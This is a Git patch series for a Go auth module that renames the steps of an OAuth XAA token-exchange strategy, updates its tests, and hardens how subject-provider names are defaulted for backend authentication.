b/pkg/vmcp/auth/strategies/xaa.go @@ -28,16 +28,16 @@ import ( // XAAStrategy implements XAA (Cross-Application Access) as a two-step token // exchange, following draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG): // -// - Step A (RFC 8693): Exchange the user's ID token at the IdP for an ID-JAG JWT. -// - Step B (RFC 7523): Exchange the ID-JAG at the target AS for an access token. +// - IdP exchange (RFC 8693): Exchange the user's ID token at the IdP for an ID-JAG JWT. +// - Target grant (RFC 7523): Exchange the ID-JAG at the target AS for an access token. // // Both steps run on every Authenticate call. The upper vMCP TokenCache layer is // responsible for reusing the resulting access token across requests; this // strategy holds no local cache. // -// The subject ID token is not validated locally before Step A. The IdP enforces -// its own exp check; if the token is expired, Step A returns an OAuth -// invalid_grant error which propagates to the caller. Callers that need +// The subject ID token is not validated locally before IdP exchange. The IdP +// enforces its own exp check; if the token is expired, IdP exchange returns an +// OAuth invalid_grant error which propagates to the caller. Callers that need // fine-grained re-auth signals can inspect it with: // // var re *oauth2.RetrieveError @@ -66,8 +66,8 @@ func (*XAAStrategy) Name() string { // 2. For health check requests: uses a client credentials grant at TargetTokenURL // if target client credentials are configured; otherwise skips authentication // 3. For regular requests: retrieves the user's ID token from the identity's -// UpstreamIDTokens map, performs Step A (token exchange for ID-JAG) and -// Step B (JWT Bearer grant for access token), then injects the access token +// UpstreamIDTokens map, performs IdP exchange (token exchange for ID-JAG) and +// target grant (JWT Bearer grant for access token), then injects the access token // // Parameters: // - ctx: Request context containing the authenticated identity (or health check marker) @@ -78,7 +78,7 @@ func (*XAAStrategy) Name() string { // - Strategy configuration is invalid or incomplete // - No identity is found in the context (regular requests only) // - The upstream ID token for the configured provider is not found -// - Step A (token exchange) or Step B (JWT Bearer grant) fails +// - IdP exchange (token exchange) or target grant (JWT Bearer grant) fails func (s *XAAStrategy) Authenticate( ctx context.Context, req *http.Request, strategy *authtypes.BackendAuthStrategy, ) error { @@ -121,23 +121,23 @@ func (s *XAAStrategy) Authenticate( slog.Debug("xaa: found ID token for provider", "provider", config.subjectProviderName) - // Step A: Exchange the user's ID token for an ID-JAG at the IdP. - assertion, err := s.performStepA(ctx, idToken, config) + // IdP exchange: Exchange the user's ID token for an ID-JAG at the IdP. + assertion, err := s.performIDPExchange(ctx, idToken, config) if err != nil { - slog.Debug("xaa: Step A failed", "error", err) - return fmt.Errorf("step A (ID-JAG exchange) failed: %w", err) + slog.Debug("xaa: IdP exchange failed", "error", err) + return fmt.Errorf("IdP exchange failed: %w", err) } - slog.Debug("xaa: Step A succeeded, got ID-JAG") + slog.Debug("xaa: IdP exchange succeeded, got ID-JAG") - // Step B: Exchange the ID-JAG for an access token at the target AS. - accessToken, err := s.performStepB(ctx, assertion, config) + // Target grant: Exchange the ID-JAG for an access token at the target AS. + accessToken, err := s.performTargetGrant(ctx, assertion, config) if err != nil { - slog.Debug("xaa: Step B failed", "error", err) - return fmt.Errorf("step B (JWT Bearer grant) failed: %w", err) + slog.Debug("xaa: target grant failed", "error", err) + return fmt.Errorf("target grant failed: %w", err) } - slog.Debug("xaa: Step B succeeded, setting Bearer token") + slog.Debug("xaa: target grant succeeded, setting Bearer token") req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", accessToken)) return nil @@ -172,7 +172,7 @@ func (s *XAAStrategy) Validate(strategy *authtypes.BackendAuthStrategy) error { ) } if config.targetClientID == "" { - slog.Warn("xaa: Step B will run without client authentication; " + + slog.Warn("xaa: target grant will run without client authentication; " + "most authorization servers reject unauthenticated JWT-bearer grants " + "(ID-JAG draft §9.1 recommends confidential clients)") } @@ -222,10 +222,10 @@ func (*XAAStrategy) authenticateWithClientCredentials( return nil } -// performStepA runs the RFC 8693 token exchange at the IdP to obtain an ID-JAG. -// It verifies the response's issued_token_type matches the ID-JAG URN per -// draft-ietf-oauth-identity-assertion-authz-grant §4.3.3. -func (*XAAStrategy) performStepA( +// performIDPExchange runs the RFC 8693 token exchange at the IdP to obtain an +// ID-JAG. It verifies the response's issued_token_type matches the ID-JAG URN +// per draft-ietf-oauth-identity-assertion-authz-grant §4.3.3. +func (*XAAStrategy) performIDPExchange( ctx context.Context, idToken string, config *xaaParsedConfig, ) (string, error) { exchangeCfg := &tokenexchange.ExchangeConfig{ @@ -244,34 +244,34 @@ func (*XAAStrategy) performStepA( token, err := exchangeCfg.TokenSource(ctx).Token() if err != nil { - return "", fmt.Errorf("step A token exchange: %w", err) + return "", fmt.Errorf("IdP exchange: %w", err) } // Per draft-ietf-oauth-identity-assertion-authz-grant §4.3.3, the IdP MUST // return issued_token_type = urn:ietf:params:oauth:token-type:id-jag. Fail - // loudly if it returned anything else so Step B cannot accidentally be fed - // a non-assertion token. + // loudly if it returned anything else so target grant cannot accidentally + // be fed a non-assertion token. got, _ := token.Extra("issued_token_type").(string) if got != oauthproto.TokenTypeIDJAG { - return "", fmt.Errorf("step A: IdP returned issued_token_type=%q, want %q", got, oauthproto.TokenTypeIDJAG) + return "", fmt.Errorf("IdP exchange: IdP returned issued_token_type=%q, want %q", got, oauthproto.TokenTypeIDJAG) } // Per draft-ietf-oauth-identity-assertion-authz-grant §5.2, the RFC 8693 // response MUST carry token_type=N_A for an assertion that is not usable // as a bearer token at the IdP. if !strings.EqualFold(token.TokenType, "N_A") { - return "", fmt.Errorf("step A: IdP returned token_type=%q, want N_A (draft §5.2)", token.TokenType) + return "", fmt.Errorf("IdP exchange: IdP returned token_type=%q, want N_A (draft §5.2)", token.TokenType) } // The AccessToken field holds the ID-JAG per RFC 8693 response format. assertion := token.AccessToken if assertion == "" { - return "", fmt.Errorf("step A: IdP returned an empty ID-JAG assertion") + return "", fmt.Errorf("IdP exchange: IdP returned an empty ID-JAG assertion") } // Defence-in-depth: inspect the JWT typ header. The draft §3.1 MUST for // typ: oauth-id-jag+jwt is on the issuer (IdP); ToolHive is the - // holder/presenter — the target AS validates the ID-JAG in Step B. A + // holder/presenter — the target AS validates the ID-JAG in target grant. A // mismatch is deliberately logged rather than fatal; the fatal contract // enforced here is issued_token_type (RFC 8693 §2.2.1, checked above). const idJAGJWTType = "oauth-id-jag+jwt" @@ -290,9 +290,9 @@ func (*XAAStrategy) performStepA( return assertion, nil } -// performStepB runs the RFC 7523 JWT Bearer grant at the target AS using the -// ID-JAG assertion returned by Step A. -func (*XAAStrategy) performStepB( +// performTargetGrant runs the RFC 7523 JWT Bearer grant at the target AS using +// the ID-JAG assertion returned by IdP exchange. +func (*XAAStrategy) performTargetGrant( ctx context.Context, assertion string, config *xaaParsedConfig, ) (string, error) { bearerCfg := &jwtbearer.Config{ @@ -308,7 +308,7 @@ func (*XAAStrategy) performStepB( token, err := bearerCfg.TokenSource(ctx).Token() if err != nil { - return "", fmt.Errorf("step B jwt-bearer grant: %w", err) + return "", fmt.Errorf("target grant: %w", err) } return token.AccessToken, nil diff --git a/pkg/vmcp/auth/strategies/xaa_test.go b/pkg/vmcp/auth/strategies/xaa_test.go index 247faf1c0c..46f6ea71f3 100644 --- a/pkg/vmcp/auth/strategies/xaa_test.go +++ b/pkg/vmcp/auth/strategies/xaa_test.go @@ -60,8 +60,8 @@ func createXAAStrategy(opts ...func(*authtypes.XAAConfig)) *authtypes.BackendAut } } -// createXAAIdPServer creates a mock IdP server that validates Step A (RFC 8693) -// token exchange requests and returns an ID-JAG response. +// createXAAIdPServer creates a mock IdP server that validates IdP exchange +// (RFC 8693) token exchange requests and returns an ID-JAG response. func createXAAIdPServer(t *testing.T, expectedIDToken, idJAGToReturn string) *httptest.Server { t.Helper() return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -91,8 +91,8 @@ func createXAAIdPServer(t *testing.T, expectedIDToken, idJAGToReturn string) *ht })) } -// createXAATargetServer creates a mock target AS server that validates Step B -// (RFC 7523 JWT Bearer grant) requests and returns an access token. +// createXAATargetServer creates a mock target AS server that validates target +// grant (RFC 7523 JWT Bearer grant) requests and returns an access token. func createXAATargetServer(t *testing.T, expectedAssertion, accessTokenToReturn string) *httptest.Server { t.Helper() return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { @@ -602,7 +602,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, }, { - name: "Step A fails with IdP error", + name: "IdP exchange fails with IdP error", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "bad-id-token"}) @@ -618,7 +618,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS should not be called when Step A fails") + t.Error("target AS should not be called when IdP exchange fails") })) return idpServer, targetServer }, @@ -632,10 +632,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A (ID-JAG exchange) failed"}, + errorContains: []string{"IdP exchange failed"}, }, { - name: "Step B fails with target AS error", + name: "target grant fails with target AS error", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "valid-id-token"}) @@ -663,10 +663,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step B (JWT Bearer grant) failed"}, + errorContains: []string{"target grant failed"}, }, { - name: "Step A rejects wrong issued_token_type", + name: "IdP exchange rejects wrong issued_token_type", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -684,7 +684,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns the wrong issued_token_type") + t.Error("target AS must not be called when IdP exchange returns the wrong issued_token_type") })) return idpServer, targetServer }, @@ -698,10 +698,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A", "issued_token_type", oauthproto.TokenTypeIDJAG}, + errorContains: []string{"IdP exchange", "issued_token_type", oauthproto.TokenTypeIDJAG}, }, { - name: "Step A rejects wrong token_type", + name: "IdP exchange rejects wrong token_type", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -719,7 +719,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns the wrong token_type") + t.Error("target AS must not be called when IdP exchange returns the wrong token_type") })) return idpServer, targetServer }, @@ -736,7 +736,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { errorContains: []string{"N_A"}, }, { - name: "Step A rejects empty access_token", + name: "IdP exchange rejects empty access_token", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -754,7 +754,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { assert.NoError(t, err) })) targetServer := httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, _ *http.Request) { - t.Error("target AS must not be called when Step A returns an empty assertion") + t.Error("target AS must not be called when IdP exchange returns an empty assertion") })) return idpServer, targetServer }, @@ -768,10 +768,10 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }) }, expectError: true, - errorContains: []string{"step A", "access_token"}, + errorContains: []string{"IdP exchange", "access_token"}, }, { - name: "Step A typ header mismatch is not fatal", + name: "IdP exchange typ header mismatch is not fatal", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -808,7 +808,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { }, }, { - name: "Step A typ header matches oauth-id-jag+jwt", + name: "IdP exchange typ header matches oauth-id-jag+jwt", setupCtx: func() context.Context { return createContextWithUpstreamIDTokens( map[string]string{testProviderGitHub: "user-id-token-jwt"}) @@ -888,7 +888,7 @@ func TestXAAStrategy_Authenticate(t *testing.T) { // buildJWTWithTypHeader signs a minimal JWT with the given typ header value using // a throwaway RSA key. The token is not intended to be verified — it exists only -// to exercise the header-parsing path in performStepA. +// to exercise the header-parsing path in performIDPExchange. func buildJWTWithTypHeader(t *testing.T, typ string) string { t.Helper() diff --git a/pkg/vmcp/auth/types/types.go b/pkg/vmcp/auth/types/types.go index bbf5982f23..6c0d028b41 100644 --- a/pkg/vmcp/auth/types/types.go +++ b/pkg/vmcp/auth/types/types.go @@ -267,26 +267,26 @@ type AwsStsConfig struct { // XAAConfig configures the XAA (Cross-Application Access) auth strategy. // XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) as a // two-step flow: -// - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT -// - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token +// - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT +// - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token // // +kubebuilder:object:generate=true // +gendoc type XAAConfig struct { - // IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + // IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693 exchange). IDPTokenURL string `json:"idpTokenUrl" yaml:"idpTokenUrl"` - // IDPClientID is the OAuth client ID at the IdP for Step A. + // IDPClientID is the OAuth client ID at the IdP for IdP exchange. IDPClientID string `json:"idpClientId,omitempty" yaml:"idpClientId,omitempty"` - // IDPClientSecret is the client secret at the IdP for Step A. + // IDPClientSecret is the client secret at the IdP for IdP exchange. //nolint:gosec // G101: field legitimately holds sensitive data IDPClientSecret string `json:"idpClientSecret,omitempty" yaml:"idpClientSecret,omitempty"` // IDPClientSecretEnv is the env var containing the IdP client secret. IDPClientSecretEnv string `json:"idpClientSecretEnv,omitempty" yaml:"idpClientSecretEnv,omitempty"` - // TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). + // TargetTokenURL is the target AS token endpoint for target grant (JWT Bearer grant). TargetTokenURL string `json:"targetTokenUrl" yaml:"targetTokenUrl"` // InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. @@ -294,10 +294,10 @@ type XAAConfig struct { // development/testing endpoints — never in production. InsecureTargetTokenURL bool `json:"insecureTargetTokenUrl,omitempty" yaml:"insecureTargetTokenUrl,omitempty"` - // TargetClientID is the OAuth client ID at the target AS for Step B. + // TargetClientID is the OAuth client ID at the target AS for target grant. TargetClientID string `json:"targetClientId,omitempty" yaml:"targetClientId,omitempty"` - // TargetClientSecret is the client secret at the target AS for Step B. + // TargetClientSecret is the client secret at the target AS for target grant. //nolint:gosec // G101: field legitimately holds sensitive data TargetClientSecret string `json:"targetClientSecret,omitempty" yaml:"targetClientSecret,omitempty"` @@ -308,12 +308,12 @@ type XAAConfig struct { TargetAudience string `json:"targetAudience" yaml:"targetAudience"` // TargetResource is the RFC 8707 resource indicator sent as the `resource` - // parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + // parameter in IdP exchange's RFC 8693 token exchange (draft §4.3, OPTIONAL). It // identifies the target resource server — not the access-token audience, which // is governed by TargetAudience. For MCP backends, set to the MCP server URL. TargetResource string `json:"targetResource,omitempty" yaml:"targetResource,omitempty"` - // Scopes are the requested scopes for Steps A and B. + // Scopes are the requested scopes for IdP exchange and target grant. // +listType=atomic Scopes []string `json:"scopes,omitempty" yaml:"scopes,omitempty"` @@ -322,7 +322,7 @@ type XAAConfig struct { SubjectProviderName string `json:"subjectProviderName,omitempty" yaml:"subjectProviderName,omitempty"` // SubjectTokenType is the token-type URN of the upstream subject token - // used in Step A. Defaults to TokenTypeIDToken when empty. Currently only + // used in IdP exchange. Defaults to TokenTypeIDToken when empty. Currently only // urn:ietf:params:oauth:token-type:id_token is accepted; the field exists // to allow future expansion to SAML upstreams without an API break. SubjectTokenType string `json:"subjectTokenType,omitempty" yaml:"subjectTokenType,omitempty"` From 7d08e2e8a901d5506d0f2b673fbc1229f7c07d42 Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Fri, 3 Jul 2026 15:03:23 +0100 Subject: [PATCH 15/66] Unify subject provider defaulting, hard-error xaa (#5708) * Unify subject provider defaulting, hard-error xaa The YAML and operator paths each defaulted a backend's SubjectProviderName to the first configured upstream, but drifted apart: the YAML path was missing aws_sts entirely (#5687), so an aws_sts backend with an unset field failed at request time instead of being defaulted. Separately, both paths silently picked upstream[0] for xaa even with multiple upstreams configured, a security-relevant footgun since sending the wrong subject token to Step A yields a confusing IdP error or a token minted for the wrong subject (#5697). Extract a shared authtypes.DefaultSubjectProviderName helper used by both the YAML (pkg/vmcp/config/defaults.go) and operator (cmd/thv-operator/controllers/virtualmcpserver_controller.go) paths, covering token_exchange, aws_sts, and xaa. xaa now hard-errors on ambiguous multi-upstream configs on both paths; on the operator side this surfaces as a non-fatal per-backend AuthConfigError condition rather than a Reconcile failure. Fixes #5687, #5697 Co-Authored-By: Claude Sonnet 5 * Deep-copy backend strategy, correct xaa risk framing DefaultSubjectProviderName shallow-copied each strategy's sub-config by hand, leaving slice fields (Scopes, RoleMappings) aliased with the caller's original struct. Use the generated DeepCopy() instead, which removes the aliasing risk and lets the doc comment drop its "never mutated" hedge. The doc comment also framed the wrong-subject-token risk as specific to xaa, which isn't accurate: token_exchange and aws_sts read from the same UpstreamTokens map and are exposed to the identical risk. xaa hard-errors first purely because it has no existing deployments to break; hard-erroring the other two would be a breaking change needing a deprecation path, tracked separately in #5697. Co-Authored-By: Claude Sonnet 5 * Exclude backends with failed auth from served config A backend whose auth-strategy injection failed (e.g. an ambiguous xaa config) was omitted from OutgoingAuthConfig.Backends, but still fully served in the ConfigMap's static backend list. At runtime, ResolveForBackend falls through to Default for any backend absent from that map, so the backend ended up authenticated with a different, valid-looking strategy instead of being rejected - exactly the wrong-identity outcome this defaulting work exists to prevent, just relocated to a different code path (CWE-285/863). Track failed backend names via backendsWithFailedAuth and exclude them from convertBackendsToStaticBackends's output entirely, mirroring the existing k8s.go precedent of dropping a backend outright when its auth config can't be resolved, rather than serving it with a fallback strategy. A backend can accumulate an auth error from one path (e.g. a broken discovered ExternalAuthConfigRef) while still resolving a valid strategy from another (e.g. an inline override) - discoverExternalAuthConfigs records the discovered-path error before checking whether an inline override makes it irrelevant. backendsWithFailedAuth only excludes a backend if it also lacks a successfully-resolved strategy, so a backend with valid resolved auth is never dropped just because an unrelated path also produced an error for the same name. Also reworded the injectSubjectProviderIfNeeded doc comment: it named pkg/runner/middleware.go's sibling implementation as if the duplication were a settled non-issue, when in fact two of the three call sites operate on the identical UpstreamRunConfig type and are a legitimate extraction candidate for a future, separate change. Co-Authored-By: Claude Sonnet 5 --------- Co-authored-by: Claude Sonnet 5 --- .../virtualmcpserver_controller.go | 136 ++++--- .../virtualmcpserver_externalauth_test.go | 291 ++++++++------- .../virtualmcpserver_vmcpconfig.go | 47 ++- .../virtualmcpserver_vmcpconfig_test.go | 353 +++++++++++++++++- pkg/vmcp/auth/types/defaults.go | 71 ++++ pkg/vmcp/auth/types/defaults_test.go | 211 +++++++++++ pkg/vmcp/cli/serve.go | 6 +- pkg/vmcp/config/defaults.go | 52 ++- pkg/vmcp/config/defaults_test.go | 66 +++- 9 files changed, 1008 insertions(+), 225 deletions(-) create mode 100644 pkg/vmcp/auth/types/defaults.go create mode 100644 pkg/vmcp/auth/types/defaults_test.go diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index 3eb530a047..a0694cff55 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -61,6 +61,10 @@ const ( authContextDefault = "default" authContextBackendPrefix = "backend:" authContextDiscoveredPrefix = "discovered:" + + // authReasonAmbiguousSubjectProvider is the condition Reason surfaced when + // injectSubjectProviderIfNeeded returns authtypes.ErrAmbiguousSubjectProvider. + authReasonAmbiguousSubjectProvider = "AmbiguousSubjectProvider" ) // AuthConfigError represents a single auth config conversion failure. @@ -106,6 +110,16 @@ func authConfigErrorReason(authErr *AuthConfigError) string { return "ConversionFailed" } +// subjectProviderErrorReason maps an error returned by injectSubjectProviderIfNeeded +// to a condition Reason. Falls back to "" so the caller's AuthConfigError.Reason +// stays empty and authConfigErrorReason applies its default ("ConversionFailed"). +func subjectProviderErrorReason(err error) string { + if stderrors.Is(err, authtypes.ErrAmbiguousSubjectProvider) { + return authReasonAmbiguousSubjectProvider + } + return "" +} + // VirtualMCPServerReconciler reconciles a VirtualMCPServer object // // Resource Cleanup Strategy: @@ -2399,12 +2413,24 @@ func (r *VirtualMCPServerReconciler) discoverExternalAuthConfigs( continue } - // Only add if not already overridden in inline config - if vmcp.Spec.OutgoingAuth == nil || vmcp.Spec.OutgoingAuth.Backends == nil { - outgoing.Backends[workloadInfo.Name] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) - } else if _, exists := vmcp.Spec.OutgoingAuth.Backends[workloadInfo.Name]; !exists { - // Only add discovered config if not explicitly overridden - outgoing.Backends[workloadInfo.Name] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + // Only add if not already overridden in inline config. + shouldAssign := true + if vmcp.Spec.OutgoingAuth != nil && vmcp.Spec.OutgoingAuth.Backends != nil { + _, exists := vmcp.Spec.OutgoingAuth.Backends[workloadInfo.Name] + shouldAssign = !exists + } + if shouldAssign { + injected, err := injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + if err != nil { + authErrors = append(authErrors, AuthConfigError{ + Context: fmt.Sprintf("%s%s", authContextDiscoveredPrefix, workloadInfo.Name), + BackendName: workloadInfo.Name, + Error: fmt.Errorf("failed to inject subject provider name: %w", err), + Reason: subjectProviderErrorReason(err), + }) + } else { + outgoing.Backends[workloadInfo.Name] = injected + } } } @@ -2483,8 +2509,15 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( Error: fmt.Errorf("failed to convert default auth config: %w", err), Reason: mirroredReasonFromError(err), }) + } else if injected, injectErr := injectSubjectProviderIfNeeded(defaultStrategy, vmcp.Spec.AuthServerConfig); injectErr != nil { + allAuthErrors = append(allAuthErrors, AuthConfigError{ + Context: authContextDefault, + BackendName: "", + Error: fmt.Errorf("failed to inject subject provider name: %w", injectErr), + Reason: subjectProviderErrorReason(injectErr), + }) } else { - outgoing.Default = injectSubjectProviderIfNeeded(defaultStrategy, vmcp.Spec.AuthServerConfig) + outgoing.Default = injected } } @@ -2509,8 +2542,15 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( Error: fmt.Errorf("failed to convert backend auth config: %w", err), Reason: mirroredReasonFromError(err), }) + } else if injected, injectErr := injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig); injectErr != nil { + allAuthErrors = append(allAuthErrors, AuthConfigError{ + Context: fmt.Sprintf("%s%s", authContextBackendPrefix, backendName), + BackendName: backendName, + Error: fmt.Errorf("failed to inject subject provider name: %w", injectErr), + Reason: subjectProviderErrorReason(injectErr), + }) } else { - outgoing.Backends[backendName] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + outgoing.Backends[backendName] = injected } } } @@ -2520,59 +2560,33 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( // injectSubjectProviderIfNeeded auto-populates the upstream provider name on // token_exchange, aws_sts, and xaa strategies when the field is empty and an -// embedded auth server is configured on the VirtualMCPServer. -// All three strategies use SubjectProviderName for the same concept: which -// upstream provider's token to pull from Identity.UpstreamTokens. Mirrors -// injectUpstreamProviderIfNeeded in pkg/runner/middleware.go, which does the -// same for Cedar's PrimaryUpstreamProvider, and InjectSubjectProviderNames in -// pkg/vmcp/config/defaults.go, which applies the same defaulting at serve time. -// Returns strategy unchanged when it is nil, not an applicable strategy type, -// already has the provider name set, or no embedded auth server is configured. +// embedded auth server is configured on the VirtualMCPServer. All three +// strategies use SubjectProviderName for the same concept: which upstream +// provider's token to pull from Identity.UpstreamTokens. +// +// The same first-upstream-name extraction appears in pkg/runner/middleware.go +// and pkg/vmcp/config/defaults.go, which share the authserver.UpstreamRunConfig +// type and are candidates for a shared authserver helper (tracked as follow-up +// work). This function operates on the CRD-specific EmbeddedAuthServerConfig +// type and is intentionally kept separate. +// +// Delegates the actual defaulting to authtypes.DefaultSubjectProviderName. +// Returns strategy unchanged when it is nil or no embedded auth server is +// configured. Can return authtypes.ErrAmbiguousSubjectProvider when strategy +// is xaa, SubjectProviderName is empty, and more than one upstream provider +// is configured. func injectSubjectProviderIfNeeded( strategy *authtypes.BackendAuthStrategy, embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig, -) *authtypes.BackendAuthStrategy { +) (*authtypes.BackendAuthStrategy, error) { if strategy == nil || embeddedCfg == nil { - return strategy - } - - switch strategy.Type { - case authtypes.StrategyTypeTokenExchange: - if strategy.TokenExchange == nil || strategy.TokenExchange.SubjectProviderName != "" { - return strategy - } - providerName := resolveFirstUpstreamProvider(embeddedCfg) - copied := *strategy - teCopied := *strategy.TokenExchange - teCopied.SubjectProviderName = providerName - copied.TokenExchange = &teCopied - return &copied - - case authtypes.StrategyTypeAwsSts: - if strategy.AwsSts == nil || strategy.AwsSts.SubjectProviderName != "" { - return strategy - } - providerName := resolveFirstUpstreamProvider(embeddedCfg) - copied := *strategy - stsCopied := *strategy.AwsSts - stsCopied.SubjectProviderName = providerName - copied.AwsSts = &stsCopied - return &copied - - case authtypes.StrategyTypeXAA: - if strategy.XAA == nil || strategy.XAA.SubjectProviderName != "" { - return strategy - } - providerName := resolveFirstUpstreamProvider(embeddedCfg) - copied := *strategy - xaaCopied := *strategy.XAA - xaaCopied.SubjectProviderName = providerName - copied.XAA = &xaaCopied - return &copied - - default: - return strategy + return strategy, nil } + return authtypes.DefaultSubjectProviderName( + strategy, + resolveFirstUpstreamProvider(embeddedCfg), + len(embeddedCfg.UpstreamProviders) > 1, + ) } // resolveFirstUpstreamProvider returns the resolved name of the first upstream @@ -2590,15 +2604,25 @@ func resolveFirstUpstreamProvider(embeddedCfg *mcpv1beta1.EmbeddedAuthServerConf // Preserves metadata and uses transport types from workload Specs. // Logs warnings when backends are skipped due to missing URL or transport information. // caBundlePathMap maps backend names to their CA bundle mount paths (populated for MCPServerEntry backends). +// excludedBackends names backends whose outgoing auth strategy failed to build (see +// backendsWithFailedAuth); they are dropped from the served set entirely rather than +// left to fall through to the Default strategy at runtime. func convertBackendsToStaticBackends( ctx context.Context, backends []vmcptypes.Backend, transportMap map[string]string, caBundlePathMap map[string]string, + excludedBackends map[string]struct{}, ) []vmcpconfig.StaticBackendConfig { logger := log.FromContext(ctx) static := make([]vmcpconfig.StaticBackendConfig, 0, len(backends)) for _, backend := range backends { + if _, excluded := excludedBackends[backend.Name]; excluded { + logger.V(1).Info("Skipping backend with failed outgoing auth configuration", + "backend", backend.Name) + continue + } + if backend.BaseURL == "" { logger.V(1).Info("Skipping backend without URL in static mode", "backend", backend.Name) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go index 037ba2e1d8..29c9c6fbaf 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go @@ -21,7 +21,6 @@ import ( "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" "github.com/stacklok/toolhive/pkg/auth/obo" - "github.com/stacklok/toolhive/pkg/authserver" authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/workloads" @@ -1124,24 +1123,13 @@ func TestGenerateUniqueHeaderInjectionEnvVarName(t *testing.T) { } } -// awsStsStrategy returns a minimal aws_sts BackendAuthStrategy for tests. -func awsStsStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { - return &authtypes.BackendAuthStrategy{ - Type: authtypes.StrategyTypeAwsSts, - AwsSts: &authtypes.AwsStsConfig{ - Region: "us-east-1", - FallbackRoleArn: "arn:aws:iam::123456789012:role/test", - SubjectProviderName: subjectProviderName, - }, - } -} - -func tokenExchangeStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { +// tokenExchangeStrategy returns a minimal token_exchange BackendAuthStrategy +// with an empty SubjectProviderName, for tests of the defaulting wiring. +func tokenExchangeStrategy() *authtypes.BackendAuthStrategy { return &authtypes.BackendAuthStrategy{ Type: authtypes.StrategyTypeTokenExchange, TokenExchange: &authtypes.TokenExchangeConfig{ - TokenURL: "https://oauth.example.com/token", - SubjectProviderName: subjectProviderName, + TokenURL: "https://oauth.example.com/token", }, } } @@ -1172,8 +1160,13 @@ func embeddedAuthServerCfg(upstreamNames ...string) *mcpv1beta1.EmbeddedAuthServ return cfg } -// TestInjectSubjectProviderIfNeeded tests the injectSubjectProviderIfNeeded helper. -// Modelled on TestInjectUpstreamProviderIfNeeded in pkg/runner/middleware_test.go. +// TestInjectSubjectProviderIfNeeded tests the injectSubjectProviderIfNeeded wrapper. +// The per-strategy-type defaulting logic (nil-checks, already-set checks, copy +// semantics, xaa-ambiguity) is exhaustively covered by +// pkg/vmcp/auth/types.TestDefaultSubjectProviderName; this table covers only what +// the wrapper itself is responsible for: its own nil-strategy/nil-embeddedCfg +// guards, and correctly resolving providerName/hasMultipleUpstreams from +// embeddedCfg via resolveFirstUpstreamProvider before delegating. func TestInjectSubjectProviderIfNeeded(t *testing.T) { t.Parallel() @@ 